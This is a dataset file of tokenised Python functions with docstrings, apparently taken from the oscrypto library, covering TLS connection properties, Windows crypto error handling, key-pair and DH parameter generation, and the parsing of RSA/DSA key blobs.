{"signature": "def _raise_closed(self):", "body": "if self._remote_closed:<EOL><INDENT>raise TLSGracefulDisconnectError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise TLSDisconnectError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises an exception describing if the local or remote end closed the\nconnection", "id": "f9481:c3:m15"}
{"signature": "@property<EOL><INDENT>def certificate(self):<DEDENT>", "body": "if self._context_handle_pointer is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self._certificate is None:<EOL><INDENT>self._read_certificates()<EOL><DEDENT>return self._certificate<EOL>", "docstring": "An asn1crypto.x509.Certificate object of the end-entity certificate\npresented by the server", "id": "f9481:c3:m16"}
{"signature": "@property<EOL><INDENT>def intermediates(self):<DEDENT>", "body": "if self._context_handle_pointer is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self._certificate is None:<EOL><INDENT>self._read_certificates()<EOL><DEDENT>return self._intermediates<EOL>", "docstring": "A list of asn1crypto.x509.Certificate objects that were presented as\nintermediates by the server", "id": "f9481:c3:m17"}
{"signature": "@property<EOL><INDENT>def cipher_suite(self):<DEDENT>", "body": "return self._cipher_suite<EOL>", "docstring": "A unicode string of the IANA cipher suite name of the negotiated\ncipher suite", "id": "f9481:c3:m18"}
{"signature": "@property<EOL><INDENT>def protocol(self):<DEDENT>", "body": "return self._protocol<EOL>", "docstring": "A unicode string of: \"TLSv1.2\", \"TLSv1.1\", \"TLSv1\", \"SSLv3\"", "id": "f9481:c3:m19"}
{"signature": "@property<EOL><INDENT>def compression(self):<DEDENT>", "body": "return self._compression<EOL>", "docstring": "A boolean if compression is enabled", "id": "f9481:c3:m20"}
{"signature": "@property<EOL><INDENT>def session_id(self):<DEDENT>", "body": "return self._session_id<EOL>", "docstring": "A unicode string of \"new\" or \"reused\" or None for no ticket", "id": "f9481:c3:m21"}
{"signature": "@property<EOL><INDENT>def session_ticket(self):<DEDENT>", "body": "return self._session_ticket<EOL>", "docstring": "A unicode string of \"new\" or \"reused\" or None for no ticket", "id": "f9481:c3:m22"}
{"signature": "@property<EOL><INDENT>def session(self):<DEDENT>", "body": "return self._session<EOL>", "docstring": "The oscrypto.tls.TLSSession object used for this connection", "id": "f9481:c3:m23"}
{"signature": "@property<EOL><INDENT>def hostname(self):<DEDENT>", "body": "return self._hostname<EOL>", "docstring": "A unicode string of the TLS server domain name or IP address", "id": "f9481:c3:m24"}
{"signature": "@property<EOL><INDENT>def port(self):<DEDENT>", "body": "return self.socket.getpeername()[<NUM_LIT:1>]<EOL>", "docstring": "An integer of the port number the socket is connected to", "id": "f9481:c3:m25"}
{"signature": "@property<EOL><INDENT>def socket(self):<DEDENT>", "body": "if self._context_handle_pointer is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>return self._socket<EOL>", "docstring": "The underlying socket.socket connection", "id": "f9481:c3:m26"}
{"signature": "def handle_error(result):", "body": "if result:<EOL><INDENT>return<EOL><DEDENT>code, error_string = get_error()<EOL>if code == Advapi32Const.NTE_BAD_SIGNATURE:<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>if not isinstance(error_string, str_cls):<EOL><INDENT>error_string = _try_decode(error_string)<EOL><DEDENT>raise OSError(error_string)<EOL>", "docstring": "Extracts the last Windows error message into a python unicode string\n\n:param result:\n    A function result, 0 or None indicates failure\n\n:return:\n    A unicode string error message", "id": "f9483:m2"}
{"signature": "def handle_error(result, exception_class=None):", "body": "if result == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if result == Secur32Const.SEC_E_OUT_OF_SEQUENCE:<EOL><INDENT>raise TLSError('<STR_LIT>')<EOL><DEDENT>if result == Secur32Const.SEC_E_MESSAGE_ALTERED:<EOL><INDENT>raise TLSError('<STR_LIT>')<EOL><DEDENT>if result == Secur32Const.SEC_E_CONTEXT_EXPIRED:<EOL><INDENT>raise TLSError('<STR_LIT>')<EOL><DEDENT>_, error_string = get_error()<EOL>if not isinstance(error_string, str_cls):<EOL><INDENT>error_string = _try_decode(error_string)<EOL><DEDENT>if exception_class is None:<EOL><INDENT>exception_class = OSError<EOL><DEDENT>raise exception_class(('<STR_LIT>' % result) + error_string)<EOL>", "docstring": "Extracts the last Windows error message into a python unicode string\n\n:param result:\n    A function result, 0 or None indicates failure\n\n:param exception_class:\n    The exception class to use for the exception if an error occurred\n\n:return:\n    A unicode string error message", "id": "f9484:m0"}
{"signature": "def generate_pair(algorithm, bit_size=None, curve=None):", "body": "if algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(algorithm)<EOL>))<EOL><DEDENT>if algorithm == '<STR_LIT>':<EOL><INDENT>if bit_size not in set([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if _win_version_info < (<NUM_LIT:6>, <NUM_LIT:2>) or _backend == '<STR_LIT>':<EOL><INDENT>if bit_size != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if bit_size not in set([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if curve not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(curve)<EOL>))<EOL><DEDENT><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>if algorithm == '<STR_LIT>':<EOL><INDENT>pub_info, priv_info = _pure_python_ec_generate_pair(curve)<EOL>return (PublicKey(None, pub_info), PrivateKey(None, priv_info))<EOL><DEDENT>return _advapi32_generate_pair(algorithm, bit_size)<EOL><DEDENT>else:<EOL><INDENT>return _bcrypt_generate_pair(algorithm, bit_size, curve)<EOL><DEDENT>", "docstring": "Generates a public/private key pair\n\n:param algorithm:\n    The key algorithm - \"rsa\", \"dsa\" or \"ec\"\n\n:param bit_size:\n    An integer - used for \"rsa\" and \"dsa\". For \"rsa\" the value maye be 1024,\n    2048, 3072 or 4096. For \"dsa\" the value may be 1024, plus 2048 or 3072\n    if on Windows 8 or newer.\n\n:param curve:\n    A unicode string - used for \"ec\" keys. Valid values include \"secp256r1\",\n    \"secp384r1\" and \"secp521r1\".\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A 2-element tuple of (PublicKey, PrivateKey). The contents of each key\n    may be saved by calling .asn1.dump().", "id": "f9489:m0"}
{"signature": "def _advapi32_generate_pair(algorithm, bit_size=None):", "body": "if algorithm == '<STR_LIT>':<EOL><INDENT>provider = Advapi32Const.MS_ENH_RSA_AES_PROV<EOL>algorithm_id = Advapi32Const.CALG_RSA_SIGN<EOL>struct_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>provider = Advapi32Const.MS_ENH_DSS_DH_PROV<EOL>algorithm_id = Advapi32Const.CALG_DSS_SIGN<EOL>struct_type = '<STR_LIT>'<EOL><DEDENT>context_handle = None<EOL>key_handle = None<EOL>try:<EOL><INDENT>context_handle = open_context_handle(provider, verify_only=False)<EOL>key_handle_pointer = new(advapi32, '<STR_LIT>')<EOL>flags = (bit_size << <NUM_LIT:16>) | Advapi32Const.CRYPT_EXPORTABLE<EOL>res = advapi32.CryptGenKey(context_handle, algorithm_id, flags, key_handle_pointer)<EOL>handle_error(res)<EOL>key_handle = unwrap(key_handle_pointer)<EOL>out_len = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptExportKey(<EOL>key_handle,<EOL>null(),<EOL>Advapi32Const.PRIVATEKEYBLOB,<EOL><NUM_LIT:0>,<EOL>null(),<EOL>out_len<EOL>)<EOL>handle_error(res)<EOL>buffer_length = deref(out_len)<EOL>buffer_ = buffer_from_bytes(buffer_length)<EOL>res = advapi32.CryptExportKey(<EOL>key_handle,<EOL>null(),<EOL>Advapi32Const.PRIVATEKEYBLOB,<EOL><NUM_LIT:0>,<EOL>buffer_,<EOL>out_len<EOL>)<EOL>handle_error(res)<EOL>blob_struct_pointer = struct_from_buffer(advapi32, struct_type, buffer_)<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>struct_size = sizeof(advapi32, blob_struct)<EOL>private_blob = bytes_from_buffer(buffer_, buffer_length)[struct_size:]<EOL>if algorithm == '<STR_LIT>':<EOL><INDENT>public_info, private_info = _advapi32_interpret_rsa_key_blob(bit_size, blob_struct, private_blob)<EOL><DEDENT>else:<EOL><INDENT>public_out_len = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptExportKey(<EOL>key_handle,<EOL>null(),<EOL>Advapi32Const.PUBLICKEYBLOB,<EOL><NUM_LIT:0>,<EOL>null(),<EOL>public_out_len<EOL>)<EOL>handle_error(res)<EOL>public_buffer_length = deref(public_out_len)<EOL>public_buffer = buffer_from_bytes(public_buffer_length)<EOL>res = advapi32.CryptExportKey(<EOL>key_handle,<EOL>null(),<EOL>Advapi32Const.PUBLICKEYBLOB,<EOL><NUM_LIT:0>,<EOL>public_buffer,<EOL>public_out_len<EOL>)<EOL>handle_error(res)<EOL>public_blob = bytes_from_buffer(public_buffer, public_buffer_length)[struct_size:]<EOL>public_info, private_info = _advapi32_interpret_dsa_key_blob(bit_size, public_blob, private_blob)<EOL><DEDENT>return (load_public_key(public_info), load_private_key(private_info))<EOL><DEDENT>finally:<EOL><INDENT>if context_handle:<EOL><INDENT>close_context_handle(context_handle)<EOL><DEDENT>if key_handle:<EOL><INDENT>advapi32.CryptDestroyKey(key_handle)<EOL><DEDENT><DEDENT>", "docstring": "Generates a public/private key pair using CryptoAPI\n\n:param algorithm:\n    The key algorithm - \"rsa\" or \"dsa\"\n\n:param bit_size:\n    An integer - used for \"rsa\" and \"dsa\". For \"rsa\" the value maye be 1024,\n    2048, 3072 or 4096. For \"dsa\" the value may be 1024.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A 2-element tuple of (PublicKey, PrivateKey). The contents of each key\n    may be saved by calling .asn1.dump().", "id": "f9489:m1"}
{"signature": "def _bcrypt_generate_pair(algorithm, bit_size=None, curve=None):", "body": "if algorithm == '<STR_LIT>':<EOL><INDENT>alg_constant = BcryptConst.BCRYPT_RSA_ALGORITHM<EOL>struct_type = '<STR_LIT>'<EOL>private_blob_type = BcryptConst.BCRYPT_RSAFULLPRIVATE_BLOB<EOL>public_blob_type = BcryptConst.BCRYPT_RSAPUBLIC_BLOB<EOL><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>alg_constant = BcryptConst.BCRYPT_DSA_ALGORITHM<EOL>if bit_size > <NUM_LIT>:<EOL><INDENT>struct_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>struct_type = '<STR_LIT>'<EOL><DEDENT>private_blob_type = BcryptConst.BCRYPT_DSA_PRIVATE_BLOB<EOL>public_blob_type = BcryptConst.BCRYPT_DSA_PUBLIC_BLOB<EOL><DEDENT>else:<EOL><INDENT>alg_constant = {<EOL>'<STR_LIT>': BcryptConst.BCRYPT_ECDSA_P256_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_ECDSA_P384_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_ECDSA_P521_ALGORITHM,<EOL>}[curve]<EOL>bit_size = {<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>}[curve]<EOL>struct_type = '<STR_LIT>'<EOL>private_blob_type = BcryptConst.BCRYPT_ECCPRIVATE_BLOB<EOL>public_blob_type = BcryptConst.BCRYPT_ECCPUBLIC_BLOB<EOL><DEDENT>alg_handle = open_alg_handle(alg_constant)<EOL>key_handle_pointer = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptGenerateKeyPair(alg_handle, key_handle_pointer, bit_size, <NUM_LIT:0>)<EOL>handle_error(res)<EOL>key_handle = unwrap(key_handle_pointer)<EOL>res = bcrypt.BCryptFinalizeKeyPair(key_handle, <NUM_LIT:0>)<EOL>handle_error(res)<EOL>private_out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptExportKey(key_handle, null(), private_blob_type, null(), <NUM_LIT:0>, private_out_len, <NUM_LIT:0>)<EOL>handle_error(res)<EOL>private_buffer_length = deref(private_out_len)<EOL>private_buffer = buffer_from_bytes(private_buffer_length)<EOL>res = bcrypt.BCryptExportKey(<EOL>key_handle,<EOL>null(),<EOL>private_blob_type,<EOL>private_buffer,<EOL>private_buffer_length,<EOL>private_out_len,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>private_blob_struct_pointer = struct_from_buffer(bcrypt, struct_type, private_buffer)<EOL>private_blob_struct = unwrap(private_blob_struct_pointer)<EOL>struct_size = sizeof(bcrypt, private_blob_struct)<EOL>private_blob = bytes_from_buffer(private_buffer, private_buffer_length)[struct_size:]<EOL>if algorithm == '<STR_LIT>':<EOL><INDENT>private_key = _bcrypt_interpret_rsa_key_blob('<STR_LIT>', private_blob_struct, private_blob)<EOL><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if bit_size > <NUM_LIT>:<EOL><INDENT>private_key = _bcrypt_interpret_dsa_key_blob('<STR_LIT>', <NUM_LIT:2>, private_blob_struct, private_blob)<EOL><DEDENT>else:<EOL><INDENT>private_key = _bcrypt_interpret_dsa_key_blob('<STR_LIT>', <NUM_LIT:1>, private_blob_struct, private_blob)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>private_key = _bcrypt_interpret_ec_key_blob('<STR_LIT>', private_blob_struct, private_blob)<EOL><DEDENT>public_out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptExportKey(key_handle, null(), public_blob_type, null(), <NUM_LIT:0>, public_out_len, <NUM_LIT:0>)<EOL>handle_error(res)<EOL>public_buffer_length = deref(public_out_len)<EOL>public_buffer = buffer_from_bytes(public_buffer_length)<EOL>res = bcrypt.BCryptExportKey(<EOL>key_handle,<EOL>null(),<EOL>public_blob_type,<EOL>public_buffer,<EOL>public_buffer_length,<EOL>public_out_len,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>public_blob_struct_pointer = struct_from_buffer(bcrypt, struct_type, public_buffer)<EOL>public_blob_struct = unwrap(public_blob_struct_pointer)<EOL>struct_size = sizeof(bcrypt, public_blob_struct)<EOL>public_blob = bytes_from_buffer(public_buffer, public_buffer_length)[struct_size:]<EOL>if algorithm == '<STR_LIT>':<EOL><INDENT>public_key = _bcrypt_interpret_rsa_key_blob('<STR_LIT>', public_blob_struct, public_blob)<EOL><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if bit_size > <NUM_LIT>:<EOL><INDENT>public_key = _bcrypt_interpret_dsa_key_blob('<STR_LIT>', <NUM_LIT:2>, public_blob_struct, public_blob)<EOL><DEDENT>else:<EOL><INDENT>public_key = _bcrypt_interpret_dsa_key_blob('<STR_LIT>', <NUM_LIT:1>, public_blob_struct, public_blob)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>public_key = _bcrypt_interpret_ec_key_blob('<STR_LIT>', public_blob_struct, public_blob)<EOL><DEDENT>return (load_public_key(public_key), load_private_key(private_key))<EOL>", "docstring": "Generates a public/private key pair using CNG\n\n:param algorithm:\n    The key algorithm - \"rsa\", \"dsa\" or \"ec\"\n\n:param bit_size:\n    An integer - used for \"rsa\" and \"dsa\". For \"rsa\" the value maye be 1024,\n    2048, 3072 or 4096. For \"dsa\" the value may be 1024, plus 2048 or 3072\n    if on Windows 8 or newer.\n\n:param curve:\n    A unicode string - used for \"ec\" keys. Valid values include \"secp256r1\",\n    \"secp384r1\" and \"secp521r1\".\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A 2-element tuple of (PublicKey, PrivateKey). The contents of each key\n    may be saved by calling .asn1.dump().", "id": "f9489:m2"}
{"signature": "def generate_dh_parameters(bit_size):", "body": "if not isinstance(bit_size, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(bit_size)<EOL>))<EOL><DEDENT>if bit_size < <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bit_size > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bit_size % <NUM_LIT:64> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>alg_handle = None<EOL>g = <NUM_LIT:2><EOL>try:<EOL><INDENT>byte_size = bit_size // <NUM_LIT:8><EOL>if _backend == '<STR_LIT>':<EOL><INDENT>alg_handle = open_alg_handle(BcryptConst.BCRYPT_RNG_ALGORITHM)<EOL>buffer = buffer_from_bytes(byte_size)<EOL><DEDENT>while True:<EOL><INDENT>if _backend == '<STR_LIT>':<EOL><INDENT>rb = os.urandom(byte_size)<EOL><DEDENT>else:<EOL><INDENT>res = bcrypt.BCryptGenRandom(alg_handle, buffer, byte_size, <NUM_LIT:0>)<EOL>handle_error(res)<EOL>rb = bytes_from_buffer(buffer)<EOL><DEDENT>p = int_from_bytes(rb)<EOL>if p % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if g == <NUM_LIT:2>:<EOL><INDENT>if p % <NUM_LIT> != <NUM_LIT:11>:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>elif g == <NUM_LIT:5>:<EOL><INDENT>rem = p % <NUM_LIT:10><EOL>if rem != <NUM_LIT:3> and rem != <NUM_LIT:7>:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>divisible = False<EOL>for prime in _SMALL_PRIMES:<EOL><INDENT>if p % prime == <NUM_LIT:0>:<EOL><INDENT>divisible = True<EOL>break<EOL><DEDENT><DEDENT>if not divisible and _is_prime(bit_size, p):<EOL><INDENT>q = p // <NUM_LIT:2><EOL>if _is_prime(bit_size, q):<EOL><INDENT>return algos.DHParameters({'<STR_LIT:p>': p, '<STR_LIT:g>': g})<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if alg_handle:<EOL><INDENT>close_alg_handle(alg_handle)<EOL><DEDENT><DEDENT>", "docstring": "Generates DH parameters for use with Diffie-Hellman key exchange. Returns\na structure in the format of DHParameter defined in PKCS#3, which is also\nused by the OpenSSL dhparam tool.\n\nTHIS CAN BE VERY TIME CONSUMING!\n\n:param bit_size:\n    The integer bit size of the parameters to generate. Must be between 512\n    and 4096, and divisible by 64. Recommended secure value as of early 2016\n    is 2048, with an absolute minimum of 1024.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    An asn1crypto.algos.DHParameters object. Use\n    oscrypto.asymmetric.dump_dh_parameters() to save to disk for usage with\n    web servers.", "id": "f9489:m3"}
{"signature": "def _is_prime(bit_size, n):", "body": "r = <NUM_LIT:0><EOL>s = n - <NUM_LIT:1><EOL>while s % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>r += <NUM_LIT:1><EOL>s //= <NUM_LIT:2><EOL><DEDENT>if bit_size >= <NUM_LIT>:<EOL><INDENT>k = <NUM_LIT:2><EOL><DEDENT>elif bit_size >= <NUM_LIT>:<EOL><INDENT>k = <NUM_LIT:3><EOL><DEDENT>elif bit_size >= <NUM_LIT>:<EOL><INDENT>k = <NUM_LIT:4><EOL><DEDENT>elif bit_size >= <NUM_LIT>:<EOL><INDENT>k = <NUM_LIT:5><EOL><DEDENT>elif bit_size >= <NUM_LIT>:<EOL><INDENT>k = <NUM_LIT:6><EOL><DEDENT>for _ in range(k):<EOL><INDENT>a = random.randrange(<NUM_LIT:2>, n - <NUM_LIT:1>)<EOL>x = pow(a, s, n)<EOL>if x == <NUM_LIT:1> or x == n - <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>for _ in range(r - <NUM_LIT:1>):<EOL><INDENT>x = pow(x, <NUM_LIT:2>, n)<EOL>if x == n - <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "An implementation of Miller\u2013Rabin for checking if a number is prime.\n\n:param bit_size:\n    An integer of the number of bits in the prime number\n\n:param n:\n    An integer, the prime number\n\n:return:\n    A boolean", "id": "f9489:m4"}
{"signature": "def _advapi32_interpret_rsa_key_blob(bit_size, blob_struct, blob):", "body": "len1 = bit_size // <NUM_LIT:8><EOL>len2 = bit_size // <NUM_LIT:16><EOL>prime1_offset = len1<EOL>prime2_offset = prime1_offset + len2<EOL>exponent1_offset = prime2_offset + len2<EOL>exponent2_offset = exponent1_offset + len2<EOL>coefficient_offset = exponent2_offset + len2<EOL>private_exponent_offset = coefficient_offset + len2<EOL>public_exponent = blob_struct.rsapubkey.pubexp<EOL>modulus = int_from_bytes(blob[<NUM_LIT:0>:prime1_offset][::-<NUM_LIT:1>])<EOL>prime1 = int_from_bytes(blob[prime1_offset:prime2_offset][::-<NUM_LIT:1>])<EOL>prime2 = int_from_bytes(blob[prime2_offset:exponent1_offset][::-<NUM_LIT:1>])<EOL>exponent1 = int_from_bytes(blob[exponent1_offset:exponent2_offset][::-<NUM_LIT:1>])<EOL>exponent2 = int_from_bytes(blob[exponent2_offset:coefficient_offset][::-<NUM_LIT:1>])<EOL>coefficient = int_from_bytes(blob[coefficient_offset:private_exponent_offset][::-<NUM_LIT:1>])<EOL>private_exponent = int_from_bytes(blob[private_exponent_offset:private_exponent_offset + len1][::-<NUM_LIT:1>])<EOL>public_key_info = keys.PublicKeyInfo({<EOL>'<STR_LIT>': keys.PublicKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}),<EOL>'<STR_LIT>': keys.RSAPublicKey({<EOL>'<STR_LIT>': modulus,<EOL>'<STR_LIT>': public_exponent,<EOL>}),<EOL>})<EOL>rsa_private_key = keys.RSAPrivateKey({<EOL>'<STR_LIT:version>': '<STR_LIT>',<EOL>'<STR_LIT>': modulus,<EOL>'<STR_LIT>': public_exponent,<EOL>'<STR_LIT>': private_exponent,<EOL>'<STR_LIT>': prime1,<EOL>'<STR_LIT>': prime2,<EOL>'<STR_LIT>': exponent1,<EOL>'<STR_LIT>': exponent2,<EOL>'<STR_LIT>': coefficient,<EOL>})<EOL>private_key_info = keys.PrivateKeyInfo({<EOL>'<STR_LIT:version>': <NUM_LIT:0>,<EOL>'<STR_LIT>': keys.PrivateKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}),<EOL>'<STR_LIT>': rsa_private_key,<EOL>})<EOL>return (public_key_info, private_key_info)<EOL>", "docstring": "Takes a CryptoAPI RSA private key blob and converts it into the ASN.1\nstructures for the public and private keys\n\n:param bit_size:\n    The integer bit size of the key\n\n:param blob_struct:\n    An instance of the advapi32.RSAPUBKEY struct\n\n:param blob:\n    A byte string of the binary data after the header\n\n:return:\n    A 2-element tuple of (asn1crypto.keys.PublicKeyInfo,\n    asn1crypto.keys.PrivateKeyInfo)", "id": "f9489:m5"}
{"signature": "def _advapi32_interpret_dsa_key_blob(bit_size, public_blob, private_blob):", "body": "len1 = <NUM_LIT:20><EOL>len2 = bit_size // <NUM_LIT:8><EOL>q_offset = len2<EOL>g_offset = q_offset + len1<EOL>x_offset = g_offset + len2<EOL>y_offset = x_offset<EOL>p = int_from_bytes(private_blob[<NUM_LIT:0>:q_offset][::-<NUM_LIT:1>])<EOL>q = int_from_bytes(private_blob[q_offset:g_offset][::-<NUM_LIT:1>])<EOL>g = int_from_bytes(private_blob[g_offset:x_offset][::-<NUM_LIT:1>])<EOL>x = int_from_bytes(private_blob[x_offset:x_offset + len1][::-<NUM_LIT:1>])<EOL>y = int_from_bytes(public_blob[y_offset:y_offset + len2][::-<NUM_LIT:1>])<EOL>public_key_info = keys.PublicKeyInfo({<EOL>'<STR_LIT>': keys.PublicKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.DSAParams({<EOL>'<STR_LIT:p>': p,<EOL>'<STR_LIT:q>': q,<EOL>'<STR_LIT:g>': g,<EOL>})<EOL>}),<EOL>'<STR_LIT>': core.Integer(y),<EOL>})<EOL>private_key_info = keys.PrivateKeyInfo({<EOL>'<STR_LIT:version>': <NUM_LIT:0>,<EOL>'<STR_LIT>': keys.PrivateKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.DSAParams({<EOL>'<STR_LIT:p>': p,<EOL>'<STR_LIT:q>': q,<EOL>'<STR_LIT:g>': g,<EOL>})<EOL>}),<EOL>'<STR_LIT>': core.Integer(x),<EOL>})<EOL>return (public_key_info, private_key_info)<EOL>", "docstring": "Takes a CryptoAPI DSS private key blob and converts it into the ASN.1\nstructures for the public and private keys\n\n:param bit_size:\n    The integer bit size of the key\n\n:param public_blob:\n    A byte string of the binary data after the public key header\n\n:param private_blob:\n    A byte string of the binary data after the private key header\n\n:return:\n    A 2-element tuple of (asn1crypto.keys.PublicKeyInfo,\n    asn1crypto.keys.PrivateKeyInfo)", "id": "f9489:m6"}
{"signature": "def _bcrypt_interpret_rsa_key_blob(key_type, blob_struct, blob):", "body": "public_exponent_byte_length = native(int, blob_struct.cbPublicExp)<EOL>modulus_byte_length = native(int, blob_struct.cbModulus)<EOL>modulus_offset = public_exponent_byte_length<EOL>public_exponent = int_from_bytes(blob[<NUM_LIT:0>:modulus_offset])<EOL>modulus = int_from_bytes(blob[modulus_offset:modulus_offset + modulus_byte_length])<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>return keys.PublicKeyInfo({<EOL>'<STR_LIT>': keys.PublicKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}),<EOL>'<STR_LIT>': keys.RSAPublicKey({<EOL>'<STR_LIT>': modulus,<EOL>'<STR_LIT>': public_exponent,<EOL>}),<EOL>})<EOL><DEDENT>elif key_type == '<STR_LIT>':<EOL><INDENT>prime1_byte_length = native(int, blob_struct.cbPrime1)<EOL>prime2_byte_length = native(int, blob_struct.cbPrime2)<EOL>prime1_offset = modulus_offset + modulus_byte_length<EOL>prime2_offset = prime1_offset + prime1_byte_length<EOL>exponent1_offset = prime2_offset + prime2_byte_length<EOL>exponent2_offset = exponent1_offset + prime2_byte_length<EOL>coefficient_offset = exponent2_offset + prime2_byte_length<EOL>private_exponent_offset = coefficient_offset + prime1_byte_length<EOL>prime1 = int_from_bytes(blob[prime1_offset:prime2_offset])<EOL>prime2 = int_from_bytes(blob[prime2_offset:exponent1_offset])<EOL>exponent1 = int_from_bytes(blob[exponent1_offset:exponent2_offset])<EOL>exponent2 = int_from_bytes(blob[exponent2_offset:coefficient_offset])<EOL>coefficient = int_from_bytes(blob[coefficient_offset:private_exponent_offset])<EOL>private_exponent = int_from_bytes(blob[private_exponent_offset:private_exponent_offset + modulus_byte_length])<EOL>rsa_private_key = keys.RSAPrivateKey({<EOL>'<STR_LIT:version>': '<STR_LIT>',<EOL>'<STR_LIT>': modulus,<EOL>'<STR_LIT>': public_exponent,<EOL>'<STR_LIT>': private_exponent,<EOL>'<STR_LIT>': prime1,<EOL>'<STR_LIT>': prime2,<EOL>'<STR_LIT>': exponent1,<EOL>'<STR_LIT>': exponent2,<EOL>'<STR_LIT>': coefficient,<EOL>})<EOL>return keys.PrivateKeyInfo({<EOL>'<STR_LIT:version>': <NUM_LIT:0>,<EOL>'<STR_LIT>': keys.PrivateKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}),<EOL>'<STR_LIT>': rsa_private_key,<EOL>})<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_type)<EOL>))<EOL><DEDENT>", "docstring": "Take a CNG BCRYPT_RSAFULLPRIVATE_BLOB and converts it into an ASN.1\nstructure\n\n:param key_type:\n    A unicode string of \"private\" or \"public\"\n\n:param blob_struct:\n    An instance of BCRYPT_RSAKEY_BLOB\n\n:param blob:\n    A byte string of the binary data contained after the struct\n\n:return:\n    An asn1crypto.keys.PrivateKeyInfo or asn1crypto.keys.PublicKeyInfo\n    object, based on the key_type param", "id": "f9489:m7"}
